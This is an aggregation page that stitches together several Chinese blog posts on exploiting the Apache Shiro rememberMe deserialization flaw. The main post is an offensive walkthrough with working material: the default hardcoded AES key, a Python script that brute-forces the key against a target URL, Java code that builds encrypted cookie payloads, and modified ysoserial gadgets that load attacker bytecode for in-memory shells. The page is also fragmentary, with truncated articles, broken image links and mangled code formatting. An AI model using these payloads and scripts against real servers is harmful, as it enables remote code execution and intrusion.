精华内容
下载资源
问答
  • shiro反序列化漏洞利用
    万次阅读
    2020-07-06 08:00:16

    “ Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。”

    文章目录:

    • 1、Shiro rememberMe反序列化漏洞(Shiro-550)

      • 1.1 漏洞原理

      • 1.2 影响版本

      • 1.3 漏洞特征

      • 1.4 漏洞利用

        • 1.4.1 利用方式一:反弹shell

        • 1.4.2 利用方式二:写入文件

    • 2、Shiro Padding Oracle Attack(Shiro-721)

      • 2.1 漏洞原理

      • 2.2 影响版本

      • 2.3 漏洞利用

    • 3、一键自动化漏洞利用工具

      • 3.1 Shiro-550

      • 3.2 Shiro-721


    1、Shiro rememberMe反序列化漏洞(Shiro-550)

    1.1  漏洞原理

    Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

    更多相关内容
  • 图形界面,该工具支持漏洞检测,请勿用作非法途径,否则后果自负。 Shiro550无需提供rememberMe Cookie,Shiro721需要提供一个有效的rememberMe Cookie 可以手工指定特定的 Key/Gadget/EchoType(支持多选),如果...
  • shiro 反序列化漏洞综合利用工具 shiro_attack_by J1anfen,里面的 jar 直接运行即可,用于 shiro 漏洞检测、修复验证等
  • 1.shiro反序列化漏洞、暴力破解漏洞检测工具源码 2.shiro反序列化漏洞、暴力破解漏洞检测工具jar包 3.shiro反序列化漏洞、暴力破解漏洞检测工具启动方法 4.shiro反序列化漏洞、暴力破解漏洞检测工具使用方法 5.shiro...
  • 项目介绍基于Apache Shiro反序列化漏洞进行利用链的探测,附内存马。利用时需要修改POST请求两处数据,分别为Header头RememberMe字段值和携带的data数据(由于payload设定,data中须指定名字为c的参数值)。探测到...
  • Shiro反序列化漏洞利用笔记 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。目前在Java web应用安全框架中,最热门的产品有Spring Security和Shiro,二者在核心功能上几乎...

    Shiro反序列化漏洞利用笔记

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。目前在Java web应用安全框架中,最热门的产品有Spring Security和Shiro,二者在核心功能上几乎差不多,但Shiro更加轻量级,使用简单、上手更快、学习成本低,所以Shiro的使用量一直高于Spring Security。产品用户量之高,一旦爆发漏洞波及范围相当广泛,研究相关漏洞是很有必要的。

    一、Shiro反序列化漏洞

    1.1 安全框架

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。目前在Java web应用安全框架中,最热门的产品有Spring Security和Shiro,二者在核心功能上几乎差不多,但Shiro更加轻量级,使用简单、上手更快、学习成本低,所以Shiro的使用量一直高于Spring Security。产品用户量之高,一旦爆发漏洞波及范围相当广泛,研究相关漏洞是很有必要的。

    1.2 漏洞原理

    Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
    Shiro 1.2.4版本默认固定密钥:
    1.jpg
    Shiro框架默认指纹特征:在请求包的Cookie中为 rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用Shiro框架,可以进一步测试。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8zprsdlO-1607588868298)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1432)]

    二、漏洞利用

    2.1 AES密钥

    Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
    3.jpg
    有很多开源的项目内部集成了shiro并二次开发,可能会重现低版本shiro的默认固定密钥风险。例如关于Shiro反序列化漏洞的延伸—升级shiro也能被shell文章中提到shiro升级后依旧存在反序列化漏洞的实例,Guns框架内部集成了shiro并进行二次开发,作者自定义密钥并固定,此时用户若不对密钥进行再次修改,即使升级shiro版本,也依旧存在固定密钥的风险。(相关issues地址)
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-p5tvRmnd-1607588868305)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1434)]
    开发者在使用shiro时通常会找一些教程来帮助快速搭建,针对教程中自定义的密钥未修改就直接copy过来的情况也比较常见。
    5.jpg
    经过以上分析,升级shiro版本并不能根本解决反序列化漏洞,代码复用会直接导致项目密钥泄漏,从而造成反序列化漏洞。针对公开的密钥集合,我们可以在github上搜索到并加以利用。(搜索关键词:"securityManager.setRememberMeManager(rememberMeManager); Base64.decode(“或"setCipherKey(Base64.decode(”)
    6.jpg

    2.2 目标AES密钥判断

    收集到了密钥集合,接下来要对目标进行密钥判断,我们如何获知选择的密钥是否与目标匹配呢?文章一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。接下来对这两种情况简单分析一下:

    1)密钥不正确

    Key不正确,解密时org.apache.shiro.crypto.JcaCipherService#crypt抛出异常
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l049p8wQ-1607588868310)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1438)]
    进而走进org.apache.shiro.web.servlet.impleCookie#removeFrom方法,在返回包中添加了rememberMe=deleteMe字段
    8.jpg
    于是获得的返回包包含了Set-Cookie:rememberMe=deleteMe字段。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a234MQTf-1607588868313)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1440)]

    2)类型转换异常

    org.apache.shiro.mgt.AbstractRememberMeManager#deserialize进行数据反序列化,返回结果前有对反序列化结果对象做PrincipalCollection的强制类型转换。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qWjmJGez-1607588868314)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1441)]
    可以看到类型转换报错,因为我们的反序列化结果对象与PrincipalCollection并没有继承关系
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5Txl2dSA-1607588868316)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1442)]
    反序列化方法捕获到该异常,后面是熟悉的代码
    12.jpg
    再次走到org.apache.shiro.web.servlet.SimpleCookie#removeFrom方法,为返回包添加了rememberMe=deleteMe字段
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A3oduCin-1607588868319)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1444)]
    获得与第一种情况一样的返回包。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QDFW6C7n-1607588868320)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1445)]
    根据上面的分析,我们需要构造payload排除类型转换错误,进而准确判断密钥。当序列化对象继承PrincipalCollection时,类型转换正常,SimplePrincipalCollection是已存在的可利用类。
    15.jpg
    创建一个SimplePrincipalCollection对象并将其序列化。
    16.jpg
    将序列化数据基于key进行AES加密并base64编码发起请求,当返回包不存在Set-Cookie:rememberMe=deleteMe字段时,说明密钥与目标匹配。
    17.jpg

    2.3 密钥判断脚本

    shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
    密钥集合我这里简单列举了几个,网上流传大量现成的Shiro key top 100集合,请自行查找替换。密钥判断脚本如下:

    import base64
    import uuid
    import requests
    from Crypto.Cipher import AES
    
    def encrypt_AES_GCM(msg, secretKey):
        aesCipher = AES.new(secretKey, AES.MODE_GCM)
        ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
        return (ciphertext, aesCipher.nonce, authTag)
    
    def encode_rememberme(target):
        keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] 		# 此处简单列举几个密钥
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
    
        file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
        for key in keys:
            try:
                # CBC加密
                encryptor = AES.new(base64.b64decode(key), mode, iv)
                base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
                res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
                if res.headers.get("Set-Cookie") == None:
                    print("正确KEY : " + key)
                    return key
                else:
                    if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                        print("正确key:" + key)
                        return key
                # GCM加密
                encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
                base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
                res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
    
                if res.headers.get("Set-Cookie") == None:
                    print("正确KEY:" + key)
                    return key
                else:
                    if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                        print("正确key:" + key)
                        return key
                print("正确key:" + key)
                return key
            except Exception as e:
                print(e)
    

    2.4 利用复现

    服务端接收rememberMe的cookie值后的操作是:Cookie中rememberMe字段内容 —> Base64解密 —> 使用密钥进行AES解密 —>反序列化,我们要构造POC就需要先序列化数据然后再AES加密最后base64编码。

    1) 构造序列化数据

    下载ysoserial工具并打包:

    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -DskipTests
    

    生成的工具在target/目录下ysoserial-0.0.6-SNAPSHOT-all.jar文件,借助ysoserial工具生成序列化数据:
    18.jpg

    2) 获取AES加密的密钥Key

    利用上文中编写的脚本来获取真实密钥。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rfbDKLd0-1607588868329)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1450)]

    3) 生成Payload

    前两步得到了序列化数据和正确密钥,对序列化数据基于密钥进行AES加密,base64编码生成payload,代码如下:

    package com.veraxy;
    
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.codec.CodecSupport;
    import org.apache.shiro.util.ByteSource;
    import org.apache.shiro.codec.Base64;
    import java.io.BufferedWriter;
    import java.io.FileWriter;
    import java.nio.file.FileSystems;
    import java.nio.file.Files;
    
    public class ShiroRememberMeGenPayload {
        public static void main(String[] args) throws Exception {
            byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("xxx/xxx/test.ser"));
    
            AesCipherService aes = new AesCipherService();
            byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
    
            ByteSource ciphertext = aes.encrypt(payloads, key);
            BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt"));
            out.write(ciphertext.toString());
            out.close();
            System.out.printf("OK");
    
        }
    }
    

    将payload添加至Cookie中的rememberMe字段值发起请求,成功反序列化对象并执行命令。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UAGeLHyc-1607588868331)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1451)]

    三、进一步利用

    3.1 Payload长度限制

    简单分析一条TemplatesImpl的反序列化利用链CommonsBeanutils1,利用ysoserial工具生成序列化对象时,键入了一条命令,在getObject方法中接收command参数
    21.jpg
    跟进createTemplatesImpl方法,找到了实际执行的代码,插入了java.lang.Runtime.getRuntime().exec()来执行命令,那我们替换cmd参数值就可以执行任何代码,比如内存马
    22.jpg
    shiro反序列化漏洞常规利用点在数据包的header头中,在这里直接插入目标代码,生成的payload是很长的,肯定会超过中间件 header 长度限制,如何解决这个问题呢?
    文章Java代码执行漏洞中类动态加载的应用提供了思路,将要加载的字节码放到post请求的data数据包中,header头中的payload仅仅实现读取和加载外部字节码的功能,接下来动手操作:
    1)打开ysoserial源码,pom文件中添加依赖:
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ysttRHK0-1607588868336)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1454)]
    2)自定义ClassLoader,获取上下文request中传入的参数值,并实现动态加载外部字节码。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G951rY6N-1607588868337)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1455)]

    重载createTemplatesImpl方法,参数设置为要让服务端加载的类,_bytecodes参数携带要加载的目标类字节码
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8GUrKYGh-1607588868339)(https://nox.qianxin.com/api/web/portal/attachment/photo/show/1456)]

    修改该payload的getObject方法,让createTemplatesImpl方法加载我们自定义的ClassLoader
    26.jpg

    重新打包ysoserial,生成序列化数据
    27.jpg

    拿出上文中写好的生成payload的脚本,利用ysoserial生成的序列化数据和已知key生成payload,作为请求包Cookie中rememberMe的参数值。
    28.jpg

    接下来需要在请求包data参数中插入要加载的字节码,这里选择延时代码进行测试:

    public class SleepTest {
        static{
            try {
                long aaa = 20000;
                Thread.currentThread().sleep(aaa);
            } catch (Exception e) {
            }
        }
    }
    

    将目标类进行base64之后作为c的参数值发起请求,看到系统执行了延时代码。
    29.jpg

    接下来就可以根据具体需求替换c的参数值了,比如内存马等其他体积庞大的字节码片段。

    3.2 SUID不匹配

    反序列时, 如果字节流中的serialVersionUID与目标服务器对应类中的serialVersionUID不同时就会出现异常。

    SUID不同是jar包版本不同所造成,不同版本jar包可能存在不同的计算方式导致算出的SUID不同,这种情况下只需要基于目标一样的jar包版本去生成payload即可解决异常,进而提升反序列化漏洞利用成功率。

    由于不知道目标服务器的依赖版本, 所以只有使用该依赖payload对所有版本目标进行测试,确认payload版本覆盖程度,排除SUID不匹配异常后,得到可利用payload集合。

    四、工具编写

    师傅们一再强调Shiro本身不存在可利用链,反序列化漏洞可被利用的原因是部署Shiro的网站引入了可利用的依赖包,所以思维不能局限于Shiro本身,它只是个切入点,而可利用链还要进一步确认。

    4.1 大概思路

    完全不出网的场景,一些需要出网的gadget就暂时不考虑了,常见的TemplatesImpl的反序列化利用链有CommonsBeanutils1、CommonsCollections4、CommonsCollections10、Hibernate1、Jdk7u21。

    1)确认SUID不匹配的版本

    比如Hibernate1中SUID不匹配的问题就比较常见

    payload版本 适用目标版本
    hibernate-core 4.2.21.Final 4.2.11.Final - 4.2.21.Final
    hibernate-core 4.3.11.Final 4.3.5.Final - 4.3.11.Final
    hibernate-core 5.0.0.Final 5.0.0.Final
    hibernate-core 5.0.1.Final 5.0.1.Final - 5.0.3.Final
    hibernate-core 5.0.7.Final 5.0.7.Final - 5.0.12.Final
    hibernate-core 5.1.0.Final 5.1.0.Final - 5.1.17.Final
    hibernate-core 5.2.0.Final 5.2.0.Final - 5.2.8.Final
    hibernate-core 5.2.9.Final 5.2.9.Final - 5.2.18.Final、5.3.0.Final - 5.3.18.Final、5.4.0.Final - 5.4.3.Final
    hibernate-core 5.4.4.Final 5.4.4.Final - 5.4.21.Final

    需要基于这些版本分别生成序列化数据做积累,遍历这些序列化数据生成payload进行探测。

    2)探测并生成可用payload

    把上文写的爆破密钥的脚本集成进来,利用延时代码探测目标的版本。

    界面输出适配目标的payload,根据提示把可用payload粘贴到Cookie字段。

    随后的利用参考上文中利用复现的流程,请求包data数据中添加c参数,参数值自选,比如我这里仍旧插入延时探测的字节码。

    4.2 尝试优化

    上文提到利用链多个版本的序列化数据需要手动生成,耗时耗力,萌生了优化生成多版本序列化数据的过程并集成至工具中的想法。
    我们想要实现ysoserial工具每个利用链批量化的基于多个版本的依赖生成payload,降低人力消耗。例如ysoserial中的工具链CommonsBeanutils1分别基于1.9.2版本和1.8.3版本生成payload,ysoserial-0.0.6-SNAPSHOT-all.jar开放版本参数来生成指定版本的payload:

    Java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 cb-1.9.2 “Calc”
    Java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 cb-1.8.3 “Calc”

    maven打包工具jar时,pom文件同时加载多个版本依赖会产生版本冲突,如何实现设想呢?可以尝试自定义类加载器(ClassLoader)动态加载外部依赖,从而摆脱maven打包时依赖版本冲突的限制。
    Java提供给我们一个自定义ClassLoader的工具类,专门用于加载本地或网络的 class 或jar文件,例如想要加载本地磁盘上的类:

    public static void main(String[] args) throws Exception{
    File file = new File(“d:/”);
    URI uri = file.toURI();
    URL url = uri.toURL();
    URLClassLoader classLoader = new URLClassLoader(new URL[]{url}); Class aClass = classLoader.loadClass(“com.veraxy.Demo”);
    Object obj = aClass.newInstance();
    }

    接下来动手修改ysoserial,打开ysoserial源码。

    1) 编写自定义UrlClassLoaderUtils工具类,加载指定位置外部依赖。

    package ysoserial;

    import java.io.File;
    import java.net.URL;
    import java.net.URLClassLoader;

    public class UrlClassLoaderUtils {
    public URLClassLoader urlClassLoader;
    public URLClassLoader loadJar(String gadgetName) throws Exception {
    File[] jarspath = getJarsPath(gadgetName);
    try{
    for(File jar : jarspath){
    URL url = jar.toURI().toURL();
    urlClassLoader = new URLClassLoader(new URL[]{url});
    }
    }catch(Exception e){
    System.out.println(“加载jar出错!”+e);
    }
    return urlClassLoader;
    }

    public File[] getJarsPath(String gadgetName){
        String basePath = System.getProperty("user.dir")+ File.separator+"lib"+File.separator;
        String directoryPath = basePath + gadgetName;
        File directory = new File(directoryPath);
        File[] jars = directory.listFiles();
        return jars;
    }
    
    public static void main(String[] args) throws Exception {
        String gadgetName = "hibernate5";
        UrlClassLoaderUtils u = new UrlClassLoaderUtils();
        Class a = u.loadJar(gadgetName).loadClass("org.hibernate.tuple.component.AbstractComponentTuplizer");
    }
    

    }

    2)修改工具链,使用自定义的UrlClassLoaderUtils工具类加载外部依赖的方式实现,这里以工具链CommonsCollections10为例。

    package ysoserial.payloads;

    import ysoserial.Deserializer;
    import ysoserial.Serializer;
    import ysoserial.payloads.util.Gadgets;
    import ysoserial.payloads.util.PayloadRunner;
    import ysoserial.payloads.util.Reflections;
    import ysoserial.UrlClassLoaderUtils;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.net.URLClassLoader;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;

    public class CommonsCollections10_ClassLoader_plus extends PayloadRunner implements ObjectPayload {
    private Class InvokerTransformer = null;
    private Class LazyMap = null;
    private Class TiedMapEntry = null;
    private Class Transformer = null;

    public CommonsCollections10_ClassLoader_plus(URLClassLoader urlClassLoader) throws Exception{
        this.Transformer = urlClassLoader.loadClass("org.apache.commons.collections.Transformer");
        this.InvokerTransformer = urlClassLoader.loadClass("org.apache.commons.collections.functors.InvokerTransformer");
        this.LazyMap = urlClassLoader.loadClass("org.apache.commons.collections.map.LazyMap");
        this.TiedMapEntry = urlClassLoader.loadClass("org.apache.commons.collections.keyvalue.TiedMapEntry");
    }
    
    
    public HashSet getObject(String command) throws Exception
    {
        Object templates = Gadgets.createTemplatesImpl(command);
        Constructor constructorinvokertransformer = this.InvokerTransformer.getDeclaredConstructor(String.class,Class[].class,Object[].class);
        constructorinvokertransformer.setAccessible(true);
        Object transformer = constructorinvokertransformer.newInstance("toString",new Class[0], new Object[0]);
    
        Map innerMap = new HashMap();
    
        Constructor constructorlazymap = this.LazyMap.getDeclaredConstructor(Map.class,this.Transformer);
        HashMap innermap = new HashMap();
        constructorlazymap.setAccessible(true);
        Object lazyMap =  constructorlazymap.newInstance(innermap,transformer);
    
        Constructor constructortidemapentry = this.TiedMapEntry.getConstructor(Map.class,Object.class);
        constructortidemapentry.setAccessible(true);
        Object entry = constructortidemapentry.newInstance(lazyMap,templates);
    
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try
        {
            f = HashSet.class.getDeclaredField("map");
        }
        catch (NoSuchFieldException e)
        {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        Reflections.setAccessible(f);
        HashMap innimpl = null;
        innimpl = (HashMap)f.get(map);
    
        Field f2 = null;
        try
        {
            f2 = HashMap.class.getDeclaredField("table");
        }
        catch (NoSuchFieldException e)
        {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        Reflections.setAccessible(f2);
        Object[] array = new Object[0];
        array = (Object[])f2.get(innimpl);
        Object node = array[0];
        if (node == null) {
            node = array[1];
        }
        Field keyField = null;
        try
        {
            keyField = node.getClass().getDeclaredField("key");
        }
        catch (Exception e)
        {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        Reflections.setAccessible(keyField);
        keyField.set(node, entry);
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
    
        return map;
    }
    
    public static void main(String[] args) throws Exception
    {
        PayloadRunner.run(CommonsCollections10_ClassLoader_plus.class, args);
    }
    

    }

    3)下载多版本依赖到本地
    我编写的UrlClassLoaderUtils工具类中,是指定遍历加载项目根目录下lib中的依赖,接下来需要手动下载工具链相关依赖到本地lib目录下,并按版本分别归类文件夹。

    4)修改ysoserial启动类GeneratePayload,实例化UrlClassLoaderUtils工具类,开放指定要加载的依赖版本的参数。

    package ysoserial;

    import java.io.PrintStream;
    import java.lang.reflect.Constructor;
    import java.net.URLClassLoader;
    import java.util.*;

    import ysoserial.payloads.ObjectPayload;
    import ysoserial.payloads.ObjectPayload.Utils;
    import ysoserial.payloads.annotation.Authors;
    import ysoserial.payloads.annotation.Dependencies;
    import ysoserial.UrlClassLoaderUtils;

    @SuppressWarnings(“rawtypes”)
    public class GeneratePayload {
    private static final int INTERNAL_ERROR_CODE = 70;
    private static final int USAGE_CODE = 64;

    public static void main(final String[] args) {
        if (args.length != 3) {
            printUsage();
            System.exit(USAGE_CODE);
        }
        final String payloadType = args[0];
        final String command = args[1];
        final String version = args[2];
    
        final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
        System.out.println(payloadClass);
        if (payloadClass == null) {
            System.err.println("Invalid payload type '" + payloadType + "'");
            printUsage();
            System.exit(USAGE_CODE);
            return; // make null analysis happy
        }
    
        try {
            UrlClassLoaderUtils classLoaderUtils = new UrlClassLoaderUtils();
            Constructor<? extends ObjectPayload<?>> classConstructor = (Constructor<? extends ObjectPayload<?>>) payloadClass.getDeclaredConstructor(URLClassLoader.class);
            ObjectPayload<?> payload = classConstructor.newInstance(classLoaderUtils.loadJar(version));
            final Object object = payload.getObject(command);
            PrintStream out = System.out;
            Serializer.serialize(object, out);
            ObjectPayload.Utils.releasePayload(payload, object);
        } catch (Throwable e) {
            System.err.println("Error while generating or serializing payload");
            e.printStackTrace();
            System.exit(INTERNAL_ERROR_CODE);
        }
        System.exit(0);
    }
    
    private static void printUsage() {
        System.err.println("Y SO SERIAL?");
        System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
        System.err.println("  Available payload types:");
    
        final List<Class<? extends ObjectPayload>> payloadClasses =
            new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
        Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
    
        final List<String[]> rows = new LinkedList<String[]>();
        rows.add(new String[] {"Payload", "Authors", "Dependencies"});
        rows.add(new String[] {"-------", "-------", "------------"});
        for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
             rows.add(new String[] {
                payloadClass.getSimpleName(),
                Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
                Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
            });
        }
    
        final List<String> lines = Strings.formatTable(rows);
    
        for (String line : lines) {
            System.err.println("     " + line);
        }
    }
    

    }

    1. 打包ysoserial为工具jar,与lib目录同级,这里指定加载commons-collections-3.2.jar依赖并生成payload。

    6)ysoserial修改好了,接下来将其集成至Python工具中,将lib依赖包和ysoserial-0.0.6-SNAPSHOT-all.jar搬进去,代码中添加执行ysoserial-0.0.6-SNAPSHOT-all.jar批量生成基于多个版本依赖的序列化数据脚本,此时执行脚本即可自动生成多个版本的序列化数据,节省部分人力。

    若不需要集成ysoserial-0.0.6-SNAPSHOT-all.jar至工具中,仅仅为了生成序列化数据,可以借鉴Generate all unserialize payload via serialVersionUID文章中的Generate payload脚本,通过修改classpath来实现加载不同版本的jar包,效果还不错。

    获取更多最新漏洞资讯https://t.zsxq.com/fq3JiAq

    五、总结

    本文对Shiro反序列化漏洞进行简单分析,主要集中在漏洞利用部分,以编写利用工具为主线,提出问题寻找解决方案,以及遇到的一些限制和提升
    
    展开全文
  • shiro反序列化漏洞利用 编号 CVE-2016-4437 影响版本 Apache Shiro < 1.2.4 漏洞原理 什么是shiro Apache Shiro 是Java 的一个安全框架。Shiro 可以非常容易的开发出足够好的应用,其不仅可以用在JavaSE ...

    漏洞简介

    名称shiro反序列化漏洞利用
    编号CVE-2016-4437
    影响版本Apache Shiro < 1.2.4

    漏洞原理

    什么是shiro

    Apache Shiro 是Java 的一个安全框架。Shiro 可以非常容易的开发出足够好的应用,其不仅可以用在JavaSE 环境,也可以用在JavaEE 环境。Shiro 可以帮助我们完成:认证、授权、加密、会话管理、与Web 集成、缓存等。

    shrio反序列化漏洞的成因

    Shiro框架提供了记住我的功能(RememberMe)
    用户登录成功后会生成cookie:
    举例:
    cookie:RememberMe:aaabbbcccddd
    cookie的值会进行序列化>AES加密>base64编码。
    当服务器读取我的cookie时,会进行base64解码>AES解密>反序列化
    问题就出在反序列化,当我们在cookie的替换为恶意代码并进行序列化>AES加密>base64编码后,服务器收到cookie会解析代码,在反序列化时触发漏洞。

    注意:对于我们AES使用的密钥,一般来说回事shiro的默认密钥。

    参考链接:link

    漏洞复现

    啊,靶机关了,不想打开。。。。。
    其实挺简单的,有很多成熟的自动化工具。这里简单介绍一下,就不复现了

    1使用工具进行漏洞利用

    在这里插入图片描述
    1.在检测目标模块输入目标地址,点击检测当前密钥即可获得AES密钥。
    2.在利用方式模块可以选择利用链和回显方式。
    3.进入到命令执行模块即可进行命令执行。
    4.我们也可以选择在内存马模块写入木马来getshell。

    2手动利用

    手动利用对用实战环境来说可能有点麻烦了,但是有手动利用可以很好的理解这个漏洞的执行过程。水平不够,这里我就不写了。推个文章给大家参考。

    参考链接:link
    声明:本文内容只供学习使用,如有违反法律,与本人无关。

    展开全文
  • Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721) Shiro简介 Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。 Apache ...

    Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)

    Shiro简介

    Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。

    Apache Shiro反序列化漏洞分为两种:Shiro-550Shiro-721

    Shiro-550反序列漏洞

    漏洞原理

    Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
    那么,Payload产生的过程:
    命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
    在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

    影响版本

    Apache Shiro < 1.2.4

    Shiro反序列化的特证:

    返回包中会包含rememberMe=deleteMe字段

    这种情况大多会发生在登录处,返回包里包含remeberMe=deleteMe字段,这个是在返回包中(Response)

    如果返回的数据包中没有remeberMe=deleteMe字段的话,可以在数据包中的Cookie中添加remeberMe=deleteMe字段这样也会在返回包中有这个字段

    基础环境

    编辑器:IDEA 2020

    java版本:jdk1.7.0_80

    Server版本 : Tomcat 8.5.56

    shiro版本:shiro-root-1.2.4

    组件:commons-collections4

    漏洞简单介绍利用

    • 通过在cookie的rememberMe字段中插入恶意payload,
    • 触发shiro框架的rememberMe的反序列化功能,导致任意代码执行。
    • shiro 1.2.24中,提供了硬编码的AES密钥:kPH+bIxk5D2deZiIxcaaaA==
    • 由于开发人员未修改AES密钥而直接使用Shiro框架,导致了该问题

    漏洞分析

    加密

    Shiro≤1.2.4版本默认使用CookieRememberMeManager,而且CookieRememberMeManager类继承了AbstractRememberMeManager

    AbstractRememberMeManager这个类调用了rememberSerializedIdentity方法

    这个方法使用base64对指定的序列化字节数进行编码,并将Base64编码的字符串设置成cookie值

    而这个方法被rememberIdentity方法给调用了。

    rememberIdentity方法被onSuccessfulLogin方法给调用,这里找到了onSuccessfulLogin成功登录的方法

    当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin方法,该方法主要实现了生成加密的RememberMe Cookie,然后将RememberMe Cookie设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity方法里面去实现了

    然后调用了isRememberMe

    这个是用来判断用户是否选择了Remember Me选项

    如果是TRUE的话就会调用remeberIdentity方法并且传入三个参数。

